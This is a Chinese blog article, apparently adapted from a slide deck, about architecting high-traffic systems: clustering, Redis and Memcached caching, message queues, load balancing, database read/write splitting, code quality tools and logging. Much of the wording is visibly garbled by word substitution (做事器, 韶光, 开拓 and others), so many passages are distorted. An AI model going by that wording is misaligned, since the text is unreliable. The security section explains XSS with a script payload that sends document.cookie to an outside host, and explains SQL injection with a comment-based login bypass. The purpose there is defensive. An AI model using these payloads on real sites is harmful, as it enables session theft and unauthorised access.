这篇文章来源于我的一个ppt,而这个ppt是源于一个朋友的一次约请,朋友约请我为一个公司做一堂大约2小时的技能讲座,我选定的方向是如何开拓一个大型系统,在这里我对大型系统的定义为日均PV在千万级以上,而京东和淘宝这类则属于巨型系统了。因此在本篇中讲述的都是基于一些开源免费的技能实现,至于那些通过F5硬件加速、DNS来实现负载均衡、CDN加速等须要费钱购买的技能或者做事则不再本篇先容范围之类。
本来此篇是作为《开拓职员学Linux》系列的闭幕篇末了涌现的,但是考虑到在此过程中我可能会由于韶光和精力缘故原由无法全部完成或者由于关注点在别的方向而无法闭幕,以是提前把这篇先写了。
2.从两个别系提及

2.1某移动互联网公司做事器端架构图
上图是某移动互联网公司的做事器端架构图,它支撑了国内外数百万客户真个访问要求,它有如下特点:
多层级集群,从Web做事器层、NoSQL层级数据库层都实现了集群,这样使得每一层的相应韶光大大缩短,从而能够在单位韶光内相应更多要求;
NoSQL运用(Memcached),在NoSQL领域Memcached和Redis都有大量的用户群,在这个架构里利用的是Memcached。
数据库读写分离,当前大多数数据库做事器支持主从机制或订阅发布机制,这样一来就为读写分离创造了条件,减少了数据库竞争去世锁出发条件,使相应韶光大为缩短(非数据库集议论形下还可以考虑分库机制)。
负载均衡,Nginx实现Web做事器的负载均衡,Memcached自带负载均衡实现。(注:Nginx负载均衡在本系列应涉及,感兴趣请移步不雅观看)。
2.2某公司生产管理系统架构图
上图是为某公司的一个分散型系统做的架构设计,这家公司拥有多个跨市、跨省的生产片区,在各片区都有自己的生态车间,各片区与总公司之间通过数据链路连接。这个别系的特点是所有的流水线上的产品都贴有唯一的条码,在生产线的某个操作位操作之前都会扫描贴在产品上的条码,系统会根据条码做一些检讨事情,如:产品条码是否应被利用过(比如之前应发货给客户过)、产品是否完成了本道工序之前的全部必须完成工序,如果知足条件则记录当前操作工序名称、操作人、操作韶光和操作结果等。一件产品从上线到完成有数十道工序,而每月下线的产品有少则数十万、多则数百万,一个月下来的数据量也是不小的。特殊是在跨厂区网络不稳定的情形下如何担保对生产的影响最小。
本系统架构特点:
所有业务逻辑集中在做事器端,并以Service形式供应,这样便于业务逻辑调度客户端能及时得到最新更新;
支配Service的做事器采取集群支配,Nginx实现调度;
NoSQL采取了Redis,与Memcached比较,Redis支持的数据类型更多,同时Redis带有持久化功能,可以将每个条码对应的产品的终极信息存储在Redis当中,这样一样平常的查询事情(如条码是否被利用、产品当前状态)都可以在Redis中查询而不是数据库查询,这样大大减轻了数据库压力;
数据库采取了主从机制,实现了读写分离,也是为了提高相应速率;
利用了行列步队MQ和ETL,将一些可以异步处理的动作存放在MQ中,然后由ETL来实行(比如订单完成后以邮件形式关照干系职员);
实现了系统监控,通过Zabbix来对做事器、运用及网络关键设备实施7×24小时监控,重大非常及时邮件关照IT支持职员。
由于总部其它地方生产规模较小,以是生产分布未采取繁芜架构,不过由于从客户处退回的不良产品都会在总部生产车间进行返修处理,因此总部生产系统须要保存分部生产车间数据,因此分部生产车间数据会同时写进分部生产数据库和分部MQ做事器,然后由总部ETL做事器读取写入到总部系统中。在分部与总部网络中断的情形下分部系统仍可独立事情,直到网络规复。
3.系统质量担保
3.1 单元测试
单元测试是指对软件中的最小可测试单元进行检讨和验证。常日而言,一个单元测试是用于判断某个特定条件(或者场景)下某个特定函数的行为,常见的开拓措辞都有对应的单元测试框架,常见的单元测试工具:
Junit/Nunit/xUnit.Net/Microsoft.VisualStudio.TestTool
关于单元测试的主要性和如何编写单元测试用例,在本篇就不详述了,网上有大量干系的文章。总之,越大型的系统、越主要的系统,单元测试的主要性越大。
针对一些须要外部依赖的单元测试,比如须要Web容器等,可以利用mock测试,Java测试职员可以利用EasyMock这个测试框架,其网址是:http://easymock.org/。
3.2 代码质量管理平台
对付多人参与的团队项目,虽然大多数情形下会有编码规范拉辅导大家如何编写团队风格同等的编码,但是不能担保团队中每个成员、尤其是后期加入的团队成员仍能按照编码规范来编写代码,因此须要有一个平台来担保,在这里推举SonarQube。
SonarQube是一个开源平台,用于管理源代码的质量。Sonar 不但是一个质量数据报告工具,更是代码质量管理平台。支持的措辞包括:Java、PHP、C#、C、Cobol、PL/SQL、Flex 等。紧张特点:
•代码覆盖:通过单元测试,将会显示哪行代码当选中
•改进编码规则
•征采编码规则:按照名字,插件,激活级别和种别进行查询
•项目征采:按照项目的名字进行查询
•比拟数据:比较同一张表中的任何丈量的趋势
当然除了代码质量管理平台外,还有借助源代码管理系统,并且在每次提交代码提高行代码审核,这样每次代码的异动都可以追溯出来。我管理和经历过的一些主要系统中采取过这样的做法:除了管理所有程序代码之外,还将系统中数据库中的表、视图、函数及存储过程的创建都利用源代码版本管理工具管控起来,而且粒度很小,每个工具的创建都是一个SQL文件。这种办法虽然操作起来有些噜苏,但对付代码的变迁追溯非常方便。
4.系统性能担保
4.1 缓存
所谓缓存便是将一些频繁利用、但改动相对不平凡的数据保存在内存中,每次更新这些数据的时候同时持久化到数据库或文件系统,并同时更新到缓存中,查询的时候尽可能利用缓存。
缓存的实现方法:自定义实现或利用NoSQL。
自定义实现
自定义实现可利用SDK中供应的类,如Dictionary等。
优点:可以局部提高查询效率;
缺陷:不能跨运用、跨做事器,仅限于单个运用;没有较好缓存生命周期管理策略。
NoSQLMemcached
优点:可以跨运用、跨做事器,有灵巧的生命周期管理策略;支持高并发;支持分布式。
缺陷:不支持持久化,仅在内存存储,重启后数据丢失,须要“热加载”;仅支持Key/Value.
Redis
优点:可以跨运用、跨做事器,有灵巧的生命周期管理策略;支持高并发;支持集群;支持持久化;支持Key/Value、List、Set、Hash数据构造;
以上几种方法都存在一个特点:须要通过Key去探求对应的Value、List、Set或Hash。
除了Memcached和Redis之外,还涌现了一些NoSQL数据库和支持NoSQL的数据库,前者如MongoDB,后者如PostgreSQL(>V9.4),下面是一个MongoDB与PostgreSQL的NoSQL特性的比拟:
文档型NoSQL数据库的特点:
(1)不定义表构造
纵然不定义表构造,也可以像定义了表构造一样利用,还省去了变更表构造的麻烦。
(2)可以利用繁芜的查询条件
跟键值存储不同的是,面向文档的数据库可以通过繁芜的查询条件来获取数据,虽然不具备事务处理和Join这些关系型数据库所具有的处理能力,但初次以外的其他处理基本上都能实现。
nosql紧张是提高效率,关系数据库可以担保数据安全;各有利用场景,一样平常的企业管理系统,没多少并发量没必要利用nosql,互联网项目或哀求并发的nosql利用比较多,但是终极主要的数据还是要保存到关系数据库。这也是为什么很多公司会同时利用NoSQL和关系型数据库的缘故原由。
4.2 异步
所谓异步便是调用一个方法后并不等该方法实行完毕后再连续实行后续的操作,而是调用完毕后立时等待用户的其它指令。打印机管理程序便是一个异步的例子,某个人可能有几个数百页的文档须要打印,可以在打开一个文档之后点击打印,然后连续打开另一个文档连续点打印。只管打印数百页文档须要较永劫光,但后续的打印要求会在打印管理程序中排队,等第一个文档打印完成后再连续第二个文档的打印。
异步有两个层面:编程措辞层面的异步和通过行列步队等机制实现的异步。
语法层面异步:像Java/C#等大多数措辞都支持异步处理
行列步队实现异步
用行列步队实现异步只是行列步队的一个基本功能之一,行列步队还具有如下功能:
解耦
灵巧性 & 峰值处理能力
可规复性
投递担保
排序担保
缓冲
理解数据流
异步通信
注:行列步队成为在进程或运用之间进行通信的最好形式。队列队列是创建强大的分布式运用的关键。
常用行列步队有如下,可根据系统特点和运维支持团队的节制程度选择:
MSMQ
ActiveMQ
RabbitMQ
ZeroMQ
Kafka
MetaMQ
RocketMQ
4.3 负载均衡
负载均衡是根据某种负载策略把要求分发到集群中的每一台做事器上,让全体做事器群来处理网站的要求。
常见负载均衡方案:
Windows负载均衡:NLB
Linux负载均衡:LVS
Web负载均衡:Nginx
硬件级负载均衡:F5
前面几种都是免费的办理方案,F5作为一种硬件及办理方案在一样平常企业很少用到。我目前知道的仅有一家世界级饮料公司利用了F5作为负载均衡办理方案,由于这个方案听说相称昂贵。
4.4 读写分离
读写分离为了确保数据库产品的稳定性,很多数据库拥有双机热备功能。
也便是,第一台数据库做事器,是对外供应增编削业务的生产做事器;
第二台数据库做事器,紧张进行读的操作。
事理:
让主数据库(master)处理事务性增、改、删操作(INSERT、UPDATE、DELETE),而从数据库(slave)处理SELECT查询操作。
一样平常情形下我们是在代码中进行处理,但目前也有不少商业中间件形式的读写分离中间件,能自动将读写数据库操作调度到不同数据库上。
在大型系统中,有时候主、从数据库都是一个集群,这样可以担保相应速率更快,同时集群中单台做事器故障也不影响全体系统对外的相应。
5.系统安全性担保
5.1XSS攻击
戒备XSS攻击
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
DOM Based XSS
DOM Based XSS是一种基于网页DOM构造的攻击,该攻击特点是中招的人是少数人。
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到做事器上或者数据库中,以是受害者是很多人。假如有两个页面,一个卖力提交内容,一个卖力将提交的内容(论坛发帖、读帖便是这种形式的范例):
提交内容:<script>window.open(“www.b.com?param=”+document.cookie)</script>
页面内容:<%=request.getParameter(\公众content\"大众)%>
这样用户在a站提交的东西,在显示的时候如果不加以处理就会打开b站页面将干系敏感内容显示出来。
针对XSS攻击的戒备办法:
Html encode
分外字符过滤:<,>
5.2 SQL注入
SQL Injection
所谓SQL注入式攻击,便是攻击者把SQL命令插入到Web表单的输入域或页面要求的查询字符串,欺骗做事器实行恶意的SQL命令。在某些表单中,用户输入的内容直接用来布局(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特殊随意马虎受到SQL注入式攻击。
例如我们在登录一个别系时,在软件底层按照如下办法查询数据:
登录SQL语句: SELECT COUNT() FROM Login WHERE UserName='admin' AND Password='123456‘
SELECT COUNT() FROM Login
WHERE UserName='admin'–
Password='123'
针对SQL注入戒备办法:
数据输入验证
分外字符过滤:分外字符过滤
参数化SQL语句(包括存储过程)
不该用sa级别账户作为连接账户或限定连接IP
戒备办法:
5.3 CSRF攻击
CSRF(Cross-site request forgery)跨站要求假造,也被称为“One Click Attack”或者Session Riding,常日缩写为CSRF或者XSRF,是一种对网站的恶意利用。只管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击办法险些相左。XSS利用站点内的信赖用户,而CSRF则通过伪装来自受信赖用户的要求来利用受信赖的网站。与XSS攻击比较,CSRF攻击每每不大盛行(因此对其进行戒备的资源也相称稀少)和难以戒备,以是被认为比XSS更具危险性。
其核心策略是利用了浏览器Cookie或者做事器Session策略,盗取用户身份。
针对CSRF攻击戒备办法:
表单Token
验证码
Referer检讨
关键操作身份确认
5.4 其它攻击
Error Code:即缺点代码回显,许多Web做事器为调试方便默认显示详尽缺点信息,如缺点发生的高下文、做事器及运用信息等,随意马虎被恶意利用。
系统或者框架漏洞:如IIS6.0以下版本存在“JPG漏洞”;Apache Struts2做事在开启动态方法调用任意方法漏洞(CVE-2016-3081);OpenSSL的heartbeat漏洞(CVE-2014-0160);Apache解析漏洞;Nginx(<V0.8.37)空字节代码实行漏洞;IIS7.0及Nginx(<V0.8.37)畸形解析漏洞;文件上传漏洞;路径遍历漏洞;
戒备办法:
上传文件时对MIME进行检讨,必要情形下对上传文件更名
及时关注安全网站及产品官方网站,创造漏洞及时打补丁
对Web Server利用的用户角色权限进行限定
利用漏洞扫描工具仿照攻击
下面是一些我见过的被攻击后的系统截图,如下图是CCTV音乐频道2008年被攻击的截图:
还有本人2008年前后搭建PHPWind运行的画面:
上图中是本人2006年前后搭建的一个论坛,有人利用系统漏洞注册了很多用户名为空的用户(实在是身份遗失落),,然后又利用这些账户在论坛中大量发布广告、色情等违法违纪的帖子,由于利用了一些不可见字符进行注册的,在后台无法管理,末了只好在数据库中操作管理了。
6.开拓干系的履历教训
6.1运用日志记录
以前团队运维着一个老系统,系统中没有日志功能,而系统的操作职员的打算机水平又较低,每次打电话都是说系统不能用或者是一些根本无法快速定位缘故原由的描述,每次接到乞助后须要花费大量韶光来剖析定位缘故原由,后来将系统中增加了日志功能,并且在网络状态连通情形下可自动将缺点日志以邮件形式发送到卖力同事组成的用户组,自此往后处理这类问题的相应韶光大大缩短了,双方都很满意。
现在已经有很多开源日志库,比如.NET的Log4Net,Java的Log4j,可以很轻松地配置启用日志功能。利用日志组件可以将信息记录到文件或数据库,便于创造问题时根据高下文环境创造问题,这一点在调试多线程时尤其主要。
日志级别:FATAL(致命缺点)、ERROR(一样平常缺点)、WARN(警告)、INFO(一样平常信息)、DEBUG(调试信息)。
把稳:在调试环境中时日志级别只管即便低(warn/info),在生产环境中日志级别只管即便高(error),且对日志文件大小一定要进行掌握。不然也会产生问题。
案例:某海内有名的管业集团公司的一个别系的主要模块发生问题,启用了日志功能以便通过日志组件快速将问题定位并修复。在发布莅临盆环境时,运行一段韶光之后创造程序运行效率相称低下,多位开拓职员对模块代码进行性能剖析未创造问题,大家创造同样的数据量和操作在生产环境和开拓环境效率差巨大,无意中创造生产做事器上日志文件已超过5G!
事后创造是由于轻忽未调高日志级别且未对日志进行掌握,调度日志模式为按日记录,问题解除。
参考:《log4net利用详解》 http://blog.csdn.net/zhoufoxcn/article/details/222053
6.2 历史记录追踪
代码管控:
尽可能利用代码管控工具对源代码进行管控,如SVN/TFS/Git,如果有可能不但管控程序代码,还要管控数据库干系的SQL文件(包括初始化脚本及存储过程和利用ORM框架中的Mapping文件),做到系统的统统变动皆有记录。
代码审核:
任何人提交代码都必须本人本地编译、调试无误后,再有人review后方可提交,且针对bug修复的提交需注明所修复的bug信息。
Bug记录:
通过Bug记录系统记录全体bug的生命周期,包括创造、修复、关闭。TFS本身支持bug记录,开源系统中禅道也是一个不错的Bug记录工具。
7.总结
本篇紧张是就系统从开拓到终极支配运维过程中常用的技能、框架和方法做了一个总结,当然以上履历总结来源本人从业以来所经历的项目中的履历和教训,可能还有更好更完美的方案,在此权当抛砖引玉罢了。
全天候聚焦IaaS/PaaS/SaaS最新技能动态,深度挖掘技能大咖第一手实践,及时推送云行业重大新闻,一键关注,总览国内外云打算大势!